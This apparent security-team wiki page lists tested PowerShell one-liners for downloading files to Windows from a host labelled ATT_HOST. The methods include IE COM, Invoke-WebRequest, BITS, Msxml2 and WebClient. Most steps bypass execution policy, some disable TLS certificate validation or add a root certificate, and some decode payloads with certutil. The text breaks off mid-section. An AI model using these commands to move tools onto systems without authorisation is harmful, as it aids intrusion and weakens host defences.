Skip to content

DL_ _Win_ _PowerShell

Lighthouse IT Security edited this page Apr 24, 2025 · 17 revisions

File Download ➔ Windows ➔ PowerShell

OVERVIEW:

(identify supported options - Windows - file download - PowerShell)

powershell.exe -ep bypass -nop
$cls='Invoke-RestMethod','Invoke-WebRequest','Start-BitsTransfer'; "[*] PowerShell - file download - available options"; foreach ($cl in $cls){Get-Command -Name $cl|Out-Null; if($?){"   [*] $cl"}}; $cos='InternetExplorer.Application','Msxml2.ServerXMLHTTP','Msxml2.XMLHTTP','WinHttp.WinHttpRequest.5.1'; foreach ($co in $cos){New-Object -ComObject $co|Out-Null; if($?){"   [*] $co"}}; $ncs='System.Net.WebClient','System.Xml.XmlDocument'; foreach ($nc in $ncs){New-Object -TypeName $nc|Out-Null; if($?){"   [*] $nc"}}; [System.Net.WebRequest]::Create('//1')|Out-Null; if($?){"   [*] System.Net.WebRequest"};

InternetExplorer.Application (HTTP; HTTPS)

https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa752084(v=vs.85)

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • COM object
    • utilises Internet Explorer
  • downloaded file will be deleted from cache directory upon closing Internet Explorer download window
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server
    • PowerShell >= 6.0.0 supports certificate validation check skipping, using -SkipCertificateCheck switch

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download file

$ie=(New-Object -ComObject InternetExplorer.Application); $ie.visible=$False; $ie.navigate("http://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE");

NOTE: if using HTTPS, replace http with https

4. [CLIENT] wait for file to finish downloading

5. [CLIENT] move file to current directory

$tmp=($RFILE -replace "\..*",""); $f=((Get-ChildItem -Recurse -Force -Path $env:LOCALAPPDATA\Microsoft\Windows\INetCache -ErrorAction SilentlyContinue).FullName | Out-String -Stream | Select-String -Pattern $tmp | foreach{$_ -replace "`r|`n",""}); Stop-Process -Name "iexplore"; sleep 1; mv -Force ($f -replace "$tmp.*","$tmp*") $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] download file

$ie=(New-Object -ComObject InternetExplorer.Application); $ie.visible=$False; $ie.navigate("https://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE");

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] move file to current directory

$tmp=($RFILE -replace "\..*",""); $f=((Get-ChildItem -Recurse -Force -Path $env:LOCALAPPDATA\Microsoft\Windows\INetCache -ErrorAction SilentlyContinue).FullName | Out-String -Stream | Select-String -Pattern $tmp | foreach{$_ -replace "`r|`n",""}); Stop-Process -Name "iexplore"; sleep 1; mv -Force ($f -replace "$tmp.*","$tmp*") $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

7. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Invoke-RestMethod (HTTP; HTTPS)

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-restmethod

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • PowerShell cmdlet
    • aliases:
      • irm
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server
    • PowerShell >= 6.0.0 supports certificate validation check skipping, using -SkipCertificateCheck switch

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download file

Invoke-RestMethod -UseBasicParsing -Uri "http://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE" -OutFile $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] disable X.509 certificate validation

add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
    public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) {
        return true;
    }
}
"@
[System.Net.ServicePointManager]::CertificatePolicy=(New-Object -TypeName TrustAllCertsPolicy);

4. [CLIENT] download file

Invoke-RestMethod -UseBasicParsing -Uri "https://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE" -OutFile $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] download file

Invoke-RestMethod -UseBasicParsing -Uri "https://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE" -OutFile $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Invoke-WebRequest (HTTP; HTTPS)

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • PowerShell cmdlet
    • aliases:
      • iwr
      • wget
      • curl
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server
    • PowerShell >= 6.0.0 supports certificate validation check skipping, using -SkipCertificateCheck switch

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download file

Invoke-WebRequest -UseBasicParsing -Uri "http://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE" -OutFile $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] disable X.509 certificate validation

add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
    public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) {
        return true;
    }
}
"@
[System.Net.ServicePointManager]::CertificatePolicy=(New-Object -TypeName TrustAllCertsPolicy);

4. [CLIENT] download file

Invoke-WebRequest -UseBasicParsing -Uri "https://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE" -OutFile $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] download file

Invoke-WebRequest -UseBasicParsing -Uri "https://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE" -OutFile $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Msxml2.ServerXMLHTTP (HTTP; HTTPS)

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms763684(v=vs.85)

https://learn.microsoft.com/en-us/windows/win32/winhttp/about-winhttp

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • COM object
    • utilises WinHTTP
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
    • target web server must host base64-encoded version of target file (with .b64 appended to filename)
  • using certutil.exe over PowerShell for base64 decoding to avoid performance issues with decoding (larger files)
    • for a pure PowerShell solution replace the certutil.exe command with [System.Convert]::FromBase64String((Get-Content $tmp)) | Set-Content -Encoding Byte $RFILE;
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download file

$tmp="${RFILE}.b64"; $dl=(New-Object -ComObject Msxml2.ServerXMLHTTP); $dl.open("GET","http://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp",$false); $dl.send();

NOTE: if using HTTPS, replace http with https

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$dl.responseText,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

5. [CLIENT] download file

$tmp="${RFILE}.b64"; $dl=(New-Object -ComObject Msxml2.ServerXMLHTTP); $dl.open("GET","https://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp",$false); $dl.send();

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

6. [CLIENT] wait for file to finish downloading

7. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$dl.responseText,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

8. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Msxml2.XMLHTTP (HTTP; HTTPS)

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms762275(v=vs.85)

https://learn.microsoft.com/en-us/windows/win32/wininet/about-wininet

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • COM object
    • utilises WinINet
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
    • target web server must host base64-encoded version of target file (with .b64 appended to filename)
  • using certutil.exe over PowerShell for base64 decoding to avoid performance issues with decoding (larger files)
    • for a pure PowerShell solution replace the certutil.exe command with [System.Convert]::FromBase64String((Get-Content $tmp)) | Set-Content -Encoding Byte $RFILE;
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download file

$tmp="${RFILE}.b64"; $dl=(New-Object -ComObject Msxml2.XMLHTTP); $dl.open("GET","http://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp",$false); $dl.send();

NOTE: if using HTTPS, replace http with https

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$dl.responseText,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

5. [CLIENT] download file

$tmp="${RFILE}.b64"; $dl=(New-Object -ComObject Msxml2.XMLHTTP); $dl.open("GET","https://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp",$false); $dl.send();

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

6. [CLIENT] wait for file to finish downloading

7. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$dl.responseText,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

8. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Start-BitsTransfer (HTTP; HTTPS)

https://learn.microsoft.com/en-us/powershell/module/bitstransfer/start-bitstransfer

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • PowerShell cmdlet
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] remove any previous downloads, which may interfere

Get-BitsTransfer | Remove-BitsTransfer;

4. [CLIENT] download file

Start-BitsTransfer -Source "http://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE" -Destination $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] remove any previous downloads, which may interfere

Get-BitsTransfer | Remove-BitsTransfer;

5. [CLIENT] download file

Start-BitsTransfer -Source "https://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE" -Destination $pwd\$RFILE; (Get-FileHash $RFILE -Algorithm MD5).Hash;

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

6. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

System.Net.WebClient.DownloadFile (HTTP; HTTPS)

https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • .NET class method
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download file

(New-Object -TypeName System.Net.WebClient).DownloadFile("http://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE","$pwd\$RFILE"); (Get-FileHash $RFILE -Algorithm MD5).Hash;

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] disable X.509 certificate validation

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;

4. [CLIENT] download file

(New-Object -TypeName System.Net.WebClient).DownloadFile("https://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE","$pwd\$RFILE"); (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] download file

(New-Object -TypeName System.Net.WebClient).DownloadFile("https://${ATT_HOST}:$ATT_PORT$ATT_PATH$RFILE","$pwd\$RFILE"); (Get-FileHash $RFILE -Algorithm MD5).Hash;

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

System.Net.WebClient.DownloadString (HTTP; HTTPS)

https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • .NET class method
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
    • target web server must host base64-encoded version of target file (with .b64 appended to filename)
  • using certutil.exe over PowerShell for base64 decoding to avoid performance issues with decoding (larger files)
    • for a pure PowerShell solution replace the certutil.exe command with [System.Convert]::FromBase64String((Get-Content $tmp)) | Set-Content -Encoding Byte $RFILE;
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=(New-Object -TypeName System.Net.WebClient).DownloadString("http://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp");

NOTE: if using HTTPS, replace http with https

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] disable X.509 certificate validation

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;

4. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=(New-Object -TypeName System.Net.WebClient).DownloadString("https://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp");

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

